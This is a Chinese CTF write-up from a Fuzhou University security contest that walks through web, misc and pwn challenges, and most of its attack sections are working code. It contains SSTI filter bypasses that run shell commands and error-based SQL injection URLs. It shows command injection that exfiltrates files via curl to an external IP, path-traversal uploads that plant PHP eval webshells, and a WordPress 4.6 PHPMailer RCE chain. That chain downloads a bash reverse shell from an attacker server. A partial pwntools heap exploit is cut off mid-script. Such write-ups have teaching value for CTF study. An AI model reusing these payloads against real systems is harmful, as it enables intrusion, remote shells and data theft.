校赛题解

第八届福州大学信息安全竞赛WP

Web

can_u_find_me?

源码几处比较关键的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
blacklist = ['_', '[', 'globals', 'url_for', 'count', 'length', 'init', 'request', 'builtins', 'select', 'dict', '(',
'join', 'import', 'os', '{', 'open', 'eval', 'set', '%', 'for', 'class', '\'', '\"', 'chr', 'attr', '|']

def waf(s):
for i in blacklist:
if i in s.split('/')[-1]:
return s + '?hacker'
return render_template_string(s)

@app.errorhandler(404)
def page_not_found(e):
url = waf(request.url)
return render_template('404.html', error_page=url), 404

waf()中有一个危险函数,render_template_string(s),也就是说,我们进入到一个不存在的url中,页面会渲染当前的url到模板中,很明显的SSTI

这个黑名单真的是拉满了,{直接被禁掉了,所以绕过这个waf是没用戏的,但注意到 if i in s.split('/')[-1]:,发现黑名单只匹配从右到左第一个/后的内容,如果url/{{7*7}}/,此时中间这个{{7*7}}是并不会被waf检测的

8994d4f0fb3ca106f9653c16e95b8cd2

后面就可以尽情的SSTI了,查看已有的类(回显回来发现都被html实体字符编码过了,复制到本地,新建个html再打开本地html就可以了),利用我写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
SSTI_dict = {
"warnings.catch_warnings": ".__init__.__globals__['__builtins__']['eval']('7*7')",
"WarningMessage": ".__init__.__globals__['__builtins__']['eval']('7*7')",
"codecs.IncrementalEncoder": ".__init__.__globals__['__builtins__']['eval']('7*7')",
"codecs.IncrementalDecoder": ".__init__.__globals__['__builtins__']['eval']('7*7')",
"codecs.StreamReaderWriter": ".__init__.__globals__['__builtins__']['eval']('7*7')",
"reprlib.Repr": ".__init__.__globals__['__builtins__']['eval']('7*7')",
"weakref.finalize": ".__init__.__globals__['__builtins__']['eval']('7*7')",
"os._wrap_close": {
"eval": ".__init__.__globals__['__builtins__']['eval']('7*7')",
"os1": ".__init__.__globals__['popen']('ls /').read()",
"os2": ".__init__.__globals__['system()']('sleep 5')"
},
"_frozen_importlib.BuiltinImporter": '["load_module"]("os")["popen"]("ls /").read()',
"subprocess.Popen": "('ls /',shell=True,stdout=-1).communicate()[0].strip()"
}

def parse_custom_input(input_str):
# 删除两边的方括号
input_str = input_str.strip('[]')
# 按照逗号分割字符串
items = input_str.split(', ')
# 去除每个元素两边的尖括号和class关键字
parsed_items = [item.strip("<>").split("'")[1] if len(item.strip("<>").split("'")) > 1 else item.strip("<>") for item in items]

return parsed_items

def find_matches_and_print(input_list, SSTI_dict):
for custom_key, custom_values in SSTI_dict.items(): # 迭代字典的键和值
for index, item in enumerate(input_list):
if custom_key == item: # 使用字典的键进行匹配
# 检查custom_values是否为字典
if isinstance(custom_values, dict):
# 如果是字典, 则迭代这个字典
print("\033[34m***************************************************\033[0m\n"
f"匹配到可用类:{custom_key}")
for sub_key, sub_value in custom_values.items():
print(
f"Playroad:\"\".__class__.__bases__[0].__subclasses__()[{index}]{sub_value}")
else:
# 不是字典, 直接打印
print("\033[34m***************************************************\033[0m\n"
f"匹配到可用类:{custom_key}\n"
f"Playroad:\"\".__class__.__bases__[0].__subclasses__()[{index}]{custom_values}")

# 用户输入提示
input_str = input("直接粘贴返回的一个基类列表,例如: [<class 'type'>, <class 'weakref'>]: \n")

# 解析用户输入
parsed_input_list = parse_custom_input(input_str)

# 查找匹配项并打印
find_matches_and_print(parsed_input_list, SSTI_dict)

最后可用的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
***************************************************
匹配到可用类:warnings.catch_warnings
Playroad:"".__class__.__bases__[0].__subclasses__()[206].__init__.__globals__['__builtins__']['eval']('7*7')
***************************************************
匹配到可用类:codecs.IncrementalEncoder
Playroad:"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['__builtins__']['eval']('7*7')
***************************************************
匹配到可用类:codecs.IncrementalDecoder
Playroad:"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('7*7')
***************************************************
匹配到可用类:codecs.StreamReaderWriter
Playroad:"".__class__.__bases__[0].__subclasses__()[129].__init__.__globals__['__builtins__']['eval']('7*7')
***************************************************
匹配到可用类:reprlib.Repr
Playroad:"".__class__.__bases__[0].__subclasses__()[172].__init__.__globals__['__builtins__']['eval']('7*7')
***************************************************
匹配到可用类:weakref.finalize
Playroad:"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']('7*7')
***************************************************
匹配到可用类:os._wrap_close
Playroad:"".__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']('7*7')
Playroad:"".__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['popen']('ls /').read()
Playroad:"".__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['system()']('sleep 5')
***************************************************
匹配到可用类:_frozen_importlib.BuiltinImporter
Playroad:"".__class__.__bases__[0].__subclasses__()[107]["load_module"]("os")["popen"]("ls /").read()
***************************************************
匹配到可用类:subprocess.Popen
Playroad:"".__class__.__bases__[0].__subclasses__()[519]('ls /',shell=True,stdout=-1).communicate()[0].strip()

最后构造出来的playload:

1
http://124.70.99.199:20015/{{"".__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['popen']('ls${IFS}/').read()}}/

这里有个坑就是,执行的命令不能有空格,需要用${IFS}替代空格

吃掉小土豆

使用了下题目中给的网站,还挺好用的

这么长的代码没头猪?https://xcheck.tencent.com/index也许可以帮到你

image-20240407165315299

找到一处并没有预处理的SQL查询语句,再进源码看一下,这段的详细代码

1
2
3
4
5
6
7
8
9
10
11
12
         $score_sql = "SELECT `score`,`time`,`attempts` FROM " . $ranking . " where name='" . $_SESSION['name'] . "'";
$score_result = $link->query($score_sql);
if ($score_result) {
$score_row = $score_result->fetch_assoc();
if ($score_row){
echo strtr($i18n["self-record"], array("{name}" => $_SESSION['name'], "{attempts}" => $attempts, "{score}" => $score, "{time}" => $time));
}else {
echo strtr($i18n["no-self-record"], array("{name}" => $_SESSION['name']));
}
} else{
echo $link->error;
}

发现,如果这个语句查询报错的话,是会打印出报错内容的,此时我们使用报错注入(在使用报错注入前尝试了下联合注入,发现并不能回显出数值),构造出playload:

http://121.43.34.239:20010/rank.php?name=' and(select extractvalue("anything",concat('~',(select * from secret)))) --+

image-20240407170419356

但发现查出来的flag并没用显示全,再使用substr()函数进行截取,获取剩下部分的playload:

http://121.43.34.239:20010/rank.php?name=' and(select extractvalue("anything",concat('~',(substr((select * from secret),25,30))))) --+

组合起来

FCTF{code_r3view_1s_imp0rtant_t0_web_security},这么长的flag选择盲注的孩子有福了

ping一下~

盲猜是RCE,输入baidu.com;sleep 5,发现确实在5秒以后返回了结果,能够进行rce

这题出的奇奇怪怪的,居然ping的内容不回显,反而回显第二个语句

其实可以不看代码盲测的,playload为baidu.com;cat /flag,页面直接回显出来FCTF{Ez_Cmd_Injection}

刚开始做的时候,直接输入baidu.coM没用任何回显,还以为是无回显rce,就构造了

1
baidu.com|curl http://47.xx.xx.xx:10433/?`cat /flag|base64`

然后真正无回显的被你们玩坏了的ping就秒了

rce原因:在ping后直接拼接用户输入的内容,没有进行任何过滤

1
2
3
4
if request.method == 'POST':
hostname = request.form['hostname']
cmd = "ping -c 3 " + hostname
output = os.popen(cmd).read()

被你们玩坏了的ping

与上一题不一样的是

1
2
3
4
5
##  ping一下~
return render_template('index.html', output=output)

## 被你们玩坏了的ping
return render_template('index.html', output='网站被玩坏了可恶。。。维修中~')

第二题无回显,但还是可以rce

构造了的playload为:

1
baidu.com|curl http://47.xx.xx.xx:10433/?`cat /flag|base64`

然后真正无回显的被你们玩坏了的ping就秒了

坑点:用ls命令的时候目录直接有空格导致只会出现第一个目录,所以需要base64编码一下

Potato_Netdisk

这个网盘可以上传多文件,但在处理多文件上传的逻辑中存在

1
2
3
4
5
6
7
8
if($_SERVER['REQUEST_METHOD'] === 'POST'){

foreach ($_FILES['file']['tmp_name'] as $key => $tmp_name){
$dest = UPLOAD_DIR.$_FILES['file']['full_path'][$key];
validateFilePath($dest);
uploadFile($tmp_name, normalizeFilePath($dest));
}
}

文件目录首先经过validateFilePath($dest),再normalizeFilePath($dest),我们再细读validateFilePath($dest)函数会发现

1
2
3
4
5
6
7
8
//阻止目录穿越
function validateFilePath($path): void
{
if(str_contains($path,'..'.DIRECTORY_SEPARATOR) || str_contains($path,'/var/www/html')){
http_response_code(403);
die("非法上传路径!".'<br>'.$path);
}
}

由于此web应用跑在linux上所以str_contains($path,'..'.DIRECTORY_SEPARATOR)匹配的是..//var/www/html,再看normalizeFilePath()函数

1
2
3
4
5
6
7
8
//处理部分Windows下$_FILE['file']['fullpath']中路径分隔符为'\'
function normalizeFilePath($path): string
{
if(strpos($_SERVER['HTTP_USER_AGENT'], 'Windows')){
return str_replace('\\','/',$path);
}
return $path;
}

为了实现整个文件夹的上传,需要创建,但Windows下目录分隔符会出现\\,所以上传到linux上需要把\\转化为/,此时我们会发现,如果目录路径中含有..\\,最终会转化为../并且不会被validateFilePath()认为是非法目录,所以构造出这样的请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /dirUpload.php HTTP/1.1
Host: 121.43.34.239:20017
Content-Length: 293
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://124.70.99.199:20017
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryByU3V0ftuR4GNI9W
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://124.70.99.199:20017/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=f69715urtvnj0kg45ctl72rd5e; bast-score=2.00; wordpress_test_cookie=WP+Cookie+check; username=%27%20union%20
Connection: close

------WebKitFormBoundaryByU3V0ftuR4GNI9W
Content-Disposition: form-data; name="file[]"; filename="\\..\\..\\var\\www\\html\\wells-200502/shell1.php"
Content-Type: application/octet-stream

<?php
@error_reporting(0);
eval($_POST['wells']);
?>

------WebKitFormBoundaryByU3V0ftuR4GNI9W--

Potato_Netdisk_v2.0

与上一题不一样的是validateFilePath()进行了修改,

1
2
3
4
5
6
7
function validateFilePath($path): void
{
if(str_contains($path,'..'.DIRECTORY_SEPARATOR) || preg_match('/var.www.html/',$path)){
http_response_code(403);
die("非法上传路径!".'<br>'.$path);
}
}

修改为preg_match('/var.www.html/',$path).表示匹配除了\n的任意字符,比较特殊的是在这种模式下\\被认为一个字符,所以我们需要稍微修改一下,修改成//,效果与/相同

另外多添加了一个函数clean,删除除了白名单以外的所有文件

1
2
3
4
5
6
7
8
9
10
11
//清除网页目录下的其他文件
function cleanup($dir): void
{
global $file_whitelist;
$files = scandir($dir);
$files = array_diff($files,$file_whitelist);
foreach ($files as $file){
$path = $dir.'/'.$file;
@unlink($path);
}
}

但执行删除命令的为unlink()函数,unlink()函数只能删除文件不能删除目录,所以我们可以再/var/www/html中再创建一个文件夹

所以最后的请求包为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /dirUpload.php HTTP/1.1
Host: 121.43.34.239:20018
Content-Length: 287
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://121.43.34.239:20018
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIS1c2qpYBtgyTTZ2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://121.43.34.239:20018/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryIS1c2qpYBtgyTTZ2
Content-Disposition: form-data; name="file[]"; filename="\\..\\..\var//www//html//wells-200502/shell2.php"
Content-Type: application/octet-stream

<?php
error_reporting(0);
eval($_POST['wells']);

------WebKitFormBoundaryIS1c2qpYBtgyTTZ2--

ezzzzzzzzz_PTA

看源码可以知道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsafe_modules = ['os', 'subprocess']

@app.route("/eval", methods=['post'])
def evalCode():
code = request.form.get("code")
try:
# 执行代码并将控制台结果返回到输出流
stdout_cap = io.StringIO()
sys.stdout = stdout_cap
for unsafe_module in unsafe_modules:
if "import "+unsafe_module in code or "__import__" in code:
return "Unsafe module imported!"
exec(code)
result = "success! :" + html.escape(stdout_cap.getvalue())
sys.stdout = sys.__stdout__
except Exception as e:
result = f'failed: {e}'
return result

屏蔽的模块为os模块和subprocess模块,使用匹配进行识别是否引用

最简单的其实是print(open(‘/flag’).read()),不需要用到上述的模块,直接读取文件

success! :FCTF{it_is_much_easier_than_Your_PTA_work_isnt_it?}

另外就是使用多空格例如import os,从而可以实现绕过,playload为

1
2
import    os
print(os.popen("ls").read())

再麻烦一点就是利用SSTI中的继承

PTA-max

与ez不同的是禁止的模块不同了,限制了字符的种类,而且不能包含数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
black = ["breakpoint", "help", "a"] #输入的字符串不能包含这些关键字

def is_nice(s):
for char in s:
if char not in string.printable or char in string.digits: #需要全是打印字符,且不包含数字
return False
for b in black:
if b in s:
return False
return True

@app.route("/eval",methods=['post'])
def evalCode():
code = request.form.get("code")
num = len(set(code)) #查询字符传中不同字符的个数
if not is_nice(code) or num > 10: #不同字符的个数必须不超过10
return "gg"
else:
try:
stdout_cap = io.StringIO()
sys.stdout = stdout_cap
eval(code)
result = "success! :" + stdout_cap.getvalue()
print(result)
sys.stdout = sys.__stdout__
except Exception as e:
result = f'failed: {e}'
return result

首先想到的是编码的方式,如培根编码等。用最少的种类的字符实现表示全部的字符,而且解码函数必须python中内置,找了一圈发现并没有找到这样的编码于是放弃

然后联想到php中无数字字母RCE等方式利用异或递增等方式进行,尝试了很久的异或,发现最后都是字符种类大于10

尝试使用递增的方式构造字符串,后面题目也给出了hint

hint:正确回答下面5个问题你就做出来了

  1. 这个是什么题目
  2. 这种题目的最基本函数是什么
  3. 用了之后你还剩下什么多少字符集
  4. 任意字符构造怎么做
  5. 没有数字?

由于我们构造的是字符串,构造出的字符串最后还需要被执行(与给出的hint的第二点相符),所以我们需要一个执行命令的函数,python中执行命令的函数有exec()eval(),由于不能包含a,所以我们使用exec()函数

看这个题目的hint在暗示我们需要用数字来构造出任意字符,由于python中字符串不能直接加上数字,此时我们需要使用chr()函数和直接将数字转化为字符,并使用+号来连接,此时我们已经用了8个字符了,剩下2个字符可以让我们进行构造出数字

如果可以使用数字,那么playload为:

1
exec(chr(1+1+...+1)+chr(1+1+...+1)+...+char(1+1+...+1))

此时我们需要想出一个办法能够构造出替换1的东西,且只利用额外的两个字符,一开始是想已利用的字符能不能有其他函数得到他们的返回值为1的情况,发现好像不太行,于是想到了bool类型,一般情况下True的值为1,所以我们可以利用==这个关系符得到布尔值,此时我们可以用字符串进行比较,使用"e"(e已经在前面被利用过了),加上最后的刚好十种字符

playload生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def ascii_to_custom_expr_no_space(input_string):
result_expr = ''

for char in input_string:
# 获取字符的ASCII值
ascii_value = ord(char)

# 构造 'c'=='c' 表达式,匹配ASCII值(注意去除了空格)
char_expr = "+".join(["('c'=='c')"] * ascii_value)

# 使用chr()函数,并将表达式添加到结果字符串
if result_expr:
result_expr += "+"
result_expr += f"chr({char_expr})"

return result_expr


# 测试脚本
input_string = "print(open('/flag').read())"
custom_expr_no_space = ascii_to_custom_expr_no_space(input_string)
print(custom_expr_no_space)

即可得到flag

ROIIS_blog

上来就看到了WordPress

image-20240407183024996

大胆猜测就是WordPress的框架漏洞,先要找到WordPress的版本

查到在WordPress下有个/readme.html,里面会写明版本号-4.6

image-20240407183305346

然后直接搜索WordPress 4.6出现了个wordpress 4.6任意命令执行漏洞,跟着网上复现的教程一步一步操作

wordpress<=4.6版本任意命令执行漏洞 - ctrl_TT豆 - 博客园 (cnblogs.com)WordPress <= 4.6 命令执行漏洞(PHPMailer)复现分析 | ssooking’s notebook

漏洞成因:(博客中摘抄下来的,似懂非懂)

主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。

特别点:

1
2
3
执行的命令不能包含一些特殊的字符,例如 :,',"和管道符等。
该命令将转换为小写字母
命令需要使用绝对路径

payload转换规则:

1
2
1.payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
2.payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

由于该命令执行只在服务器端默默执行命令,不会显示在客户端响应界面,我们需要反弹shell

首先是要找到存在用户的账户(这里我卡了半天。。。。。。。。。。。。一直在尝试admin)

最后点进第一篇文章发现有作者,大概率这个作者就是用户名,验证后发现确实是

image-20240407184007897

复现的过程中需要用到服务器,用于下载反弹shell的命令

准备反弹shell的文件内容(a.txt

1
bash -i >& /dev/tcp/47.97.120.228/10433 0>&1

最后构造出来的两个请求包

下载反弹shell的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
Content-Length: 88
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://121.43.34.239:20009
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://121.43.34.239:20009/wp-login.php?action=lostpassword
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close

user_login=Potat0w0&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81

执行a.txt反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}47.97.120.228${substr{0}{1}{$spool_directory}}a.txt}} null )
Content-Length: 88
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://121.43.34.239:20009
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://121.43.34.239:20009/wp-login.php?action=lostpassword
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close

user_login=Potat0w0&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81

Misc

签到题

看视频领flag

  • 1分13秒处

401E1AB43F19DCE89D7DD284C545C649

爬山

  • 查看图片属性

image-20240407000438105

  • 根据经纬度查GPS定位

image-20240407000635170

  • 根据公交路线锁定周边小学

image-20240407000750381

WHAT???

  • 首先处理SNOW.png图片中隐藏的信息

  • 用WinHex打开图片

image-20240407001204661

  • AE 42 60 82是标准的png文件的文件尾
  • 可见该文件多出了一部分信息,提取出来
1
EE-aE8608!GYLeI9Lj"h2.BHYDcK4b<*!%76r5R.
  • 对该字符串进行解密
  • 套了好几层base加密

image-20240407001943045

解密后得到一个字符串:

1
snowdrop

image-20240407002702840

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
使用方法:
Options(选项)
-C

如果隐藏,则压缩数据,或者如果提取,则会解压缩。

-Q

静音模式。如果未设置,则程序报告统计信息,例如压缩百分比和可用存储空间的数量。

-S

报告文本文件中隐藏消息的近似空间量。考虑线长度,但忽略其他选项。

-p password

如果设置为此,则在隐藏期间将使用此密码加密数据,或在提取期间解密。

-l line-length

在附加空格时,Snow将始终产生比此值短的线条。默认情况下,它设置为80。

-f message-file

此文件的内容将隐藏在输入文本文件中。

-m message-string

此字符串的内容将被隐藏在输入文本文件中。请注意,除非在字符串中包含一个换行符,否则在提取邮件时,否则不会打印换行符。
  • 将要解密的txt文件与解压的文件放在同一个文件夹中

image-20240407002842515

  • 先创建一个flag.txt,原来存放解密后的flag

image-20240407002929318

  • 输入指令,将加密的flag输出

image-20240407003442924

  • flag.txt中已经输出了加密的flag
1
⠠⠋ ⠠⠉ ⠠⠞ ⠠⠋ ⠪ ⠼⠊ ⠁ ⠑ ⠼⠋ ⠼⠉ ⠼⠃ ⠼⠙ ⠼⠊ ⠃ ⠼⠛ ⠼⠊ ⠉ ⠼⠊ ⠉ ⠼⠙ ⠼⠛ ⠙ ⠼⠉ ⠼⠙ ⠉ ⠙ ⠼⠑ ⠼⠓ ⠼⠃ ⠑ ⠃ ⠁ ⠃ ⠼⠑ ⠼⠁ ⠻ 

image-20240407003846063

  • 最终得到flag

完蛋,我被黑客包围了!

打开附件发现是流量分析题目,附件的名字为sql3.pcapng ,大概率和sql注入有关系

用Wireshark打开,查看HTTP协议的内容

074ee4bc56eb36a5f27f91b82e139e2e

点开一个POST请求查看表单内容

2b6d8c79b8bfdd9e10ec855be000ad9b

1
1'/**/or/**/ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1), 1,1))=117 #

发现是很明显的SQL注入中的布尔注入,不断截取字符串。跟着这个请求一直走下去查找到一个最终页面成功的相应包,查看响应包内容的长度

8a7e057121f43a9166f112ffb1d9097d

使用不同颜色把对应长度的所有相应包标记出来,查看请求包所对应字符串的长度以及ASCII码,最后转化为字母

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
70 -> F
67 -> C
84 -> T
70 -> F
123 -> {
79 -> O
104 -> h
95 -> _
77 -> M
121 -> y
95 -> _
112 -> p
97 -> a
115 -> s
115 -> s
119 -> w
100 -> d
33 -> !
33 -> !
33 -> !
125 -> }

最终flag为:FCFT{Oh_my_passwd!!!}

PWN

paint

image-20240406212724176

保护全开

首先看版本是2.35,大部分堆手法都失效

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(a1, a2, a3);
puts("Welcome to BuggyPaint!");
while ( 1 )
{
menu1();
menu2();
v4 = -1;
__isoc99_scanf("%d", &v4);
getchar();
switch ( v4 )
{
case 1:
creat();
break;
case 2:
delete();
break;
case 3:
select();
break;
case 4:
edit();
break;
case 5:
show();
break;
default:
puts("Invalid option");
return 0LL;
}
}
}

一个常规菜单堆的形式,主要有创建,删除,选择,编辑选择的堆,显示堆,五种功能

它主要的漏洞点在于delete的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 sub_19A6()
{
unsigned __int64 v1; // [rsp+8h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("x: ");
__isoc99_scanf("%lu", &v1);
printf("y: ");
__isoc99_scanf("%lu", &v2);
if ( v1 <= 0x1F && v2 <= 0x1F )
{
if ( qword_4060[32 * v1 + v2] )
{
free(*(void **)(qword_4060[32 * v1 + v2] + 0x28LL));
free((void *)qword_4060[32 * v1 + v2]);
qword_4060[32 * v1 + v2] = 0LL; // 只置零一个
}
else
{
puts("Empty cell");
}
}
else
{
puts("Bad coordinates");
}
return v3 - __readfsqword(0x28u);
}

他没有将堆里的堆指针置零,存在一个uaf,然后配合select,edit,show就能打出修改uaf堆的操作

但是在版本>=2.29就存在对tcache的next指针进行加密,但是加密的算法并不困难,因此next指针可控,而key的判断一般只会对double free的指针产生check,因此对于控制next指针进行任意地址读并不会有什么check

之后便要想着泄露libc基址,因为在creat函数中,其中内容堆的大小是可控的,因此便可以打出unsortedbin泄露fd和bk以次泄露libc基址的操作

而泄露了libc基址,就要想他要在什么位置写,然而正常来说我们会改hook或者got表,然后在高版本hook被清除(即使能够在本地找到该地址,但是他是无用的),而保护又全开了,使得改got表的计划破产

而我们要怎么办呢 ,这时候就想到__environ环境变量可以通过libc+偏移得出,而其上的地址与stack的偏移是固定的,因此我们只需要泄露stack基址,就能改ret地址,实现rop,同时还可以通过stack基址,找出code的基址

但是elf文件的gadget已经被清除得差不多,因此只能使用libc的gadget,那么思路就差不多这样

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
from pwn import*
#context.log_level='debug'
#context.log_level='error'
#sh=process('./chall')
sh=remote('114.116.233.171',10001)
libc=ELF('./libc.so.6')


sla = lambda x,y : sh.sendlineafter(x,y)
sa = lambda x,y : sh.sendafter (x,y)
ru = lambda x : sh.recvuntil (x)
al = lambda x : sh.sendline (x)
def calc_heap(addr):
# Convert the address to a hexadecimal string without the '0x' prefix
s = hex(addr)[2:]
# Convert each character in the string to an integer in base 16
s = [int(x, 16) for x in s]

res = s.copy()
for i in range(9):
# Make sure not to go out of bounds
if 3+i < len(res):
res[3+i] ^= res[i]
else:
break # Break the loop if going out of bounds

# Convert the list of integers back to a string of hexadecimal digits
res_str = "".join([hex(x)[2:] for x in res])
# Convert the resulting hexadecimal string back to an integer
return int(res_str, 16)

def encrypt(next,next_addr):
temp=next_addr>>12
return (temp^next)

def add(x,y,width,high,content):
sla(b'> ',b'1')
sla(b'x: ',str(x).encode())
sla(b'y: ',str(y).encode())
sla(b'width: ',str(width).encode())
sla(b'height: ',str(high).encode())
sla(b'color(1=red, 2=green): ',b'1')
sla(b'content: ',content)

def delete(x,y):
sla(b'> ',b'2')
sla(b'x: ',str(x).encode())
sla(b'y: ',str(y).encode())

def debug():
gdb.attach(sh)
pause()

def se(x,y):
sla(b'> ',b'3')
sla(b'x: ',str(x).encode())
sla(b'y: ',str(y).encode())

def edit(content):
sla(b'> ',b'4')
sla(b'New content: ',content)

def show():
sla(b'> ',b'5')

p=b'a'
i=1
for i in range(8):
add(1,i,16,16,p)
info(f"the {i} chunk")
i=1
se(1,7)
add(2,1,1,1,p)
for i in range(8):
delete(1,i)

info(f"the {i} chunk")
show()
sh.recvuntil(b'Box content:\n')
leak_addr=u64(sh.recv(6).ljust(8,b'\x00'))
info(f'the leak addr:{hex(leak_addr)}')

libc_base=leak_addr-0x219CE0

free_hook=leak_addr+0x67C8
info(f'free_hook:{hex(free_hook)}')
for i in range(8):
add(1,i,16,16,p)
info(f"the {i} chunk")

se(1,2)
delete(1,1)
delete(1,2)
delete(1,3)
show()

sh.recvuntil(b'Box content:\n')
heap_leak=u64(sh.recv(8))
info(f'heap_leak:{hex(calc_heap(heap_leak))}')
heap_base=calc_heap(heap_leak)-0x970
info(f'heap_base:{hex(heap_base)}')
#debug()
key=u64(sh.recv(8))
info(f'key is: {hex(key)}')

next_addr=heap_base+0x820
malloc_hook=libc_base+0x2204A0
stack_leak=libc_base+libc.symbols['__environ']

victim_heap=heap_base+0xBC0

pal=p64(encrypt(victim_heap,next_addr))+p64(key)

victim_pal=p64(0)+p64(0x41)+p64(1)+p64(7)+p64(heap_base)+p64(0x10)+p64(0x10)+p64(stack_leak)+p64(0)+p64(0x111)

one_gadget=libc_base+0xebc85 #0xebc85 0xebc88 0xebce2 0xebd38 0xebd3f 0xebd43

#debug()
edit(pal)
info(f'the pal:{pal}')
info(f'the addr:{hex(victim_heap)}')

#debug()
add(1,1,16,16,p)
add(1,2,16,16,p)
